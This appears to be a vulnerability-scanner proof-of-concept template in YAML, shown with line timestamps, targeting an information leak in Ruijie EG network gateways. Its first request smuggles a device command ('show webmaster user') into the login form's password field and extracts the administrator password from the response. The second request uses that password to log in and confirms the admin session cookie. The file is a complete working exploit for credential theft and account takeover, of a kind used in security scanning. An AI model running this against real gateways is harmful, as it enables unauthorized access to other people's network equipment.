2021-05-28 21:13:10 -07:00
|
|
|
name: poc-yaml-ruijie-eg-info-leak
|
|
|
|
rules:
|
|
|
|
- method: POST
|
|
|
|
path: /login.php
|
|
|
|
headers:
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
body: |
|
|
|
|
username=admin&password=admin?show+webmaster+user
|
2021-11-15 19:53:46 -08:00
|
|
|
expression: |
|
|
|
|
response.status == 200 && response.content_type.contains("text/json")
|
2021-05-28 21:13:10 -07:00
|
|
|
search: |
|
2021-11-15 19:53:46 -08:00
|
|
|
{"data":".*admin\s?(?P<password>[^\\"]*)
|
2021-05-28 21:13:10 -07:00
|
|
|
- method: POST
|
|
|
|
path: /login.php
|
|
|
|
headers:
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
body: |
|
2021-11-15 19:53:46 -08:00
|
|
|
username=admin&password={{password}}
|
2021-05-28 21:13:10 -07:00
|
|
|
expression: |
|
2021-11-15 19:53:46 -08:00
|
|
|
response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}")
|
2021-05-28 21:13:10 -07:00
|
|
|
detail:
|
|
|
|
author: Search?=Null
|
|
|
|
description: "Ruijie EG网关信息泄漏"
|
|
|
|
links:
|
2021-11-15 19:53:46 -08:00
|
|
|
- https://mp.weixin.qq.com/s/jgNyTHSqWA5twyk5tfSQUQ
|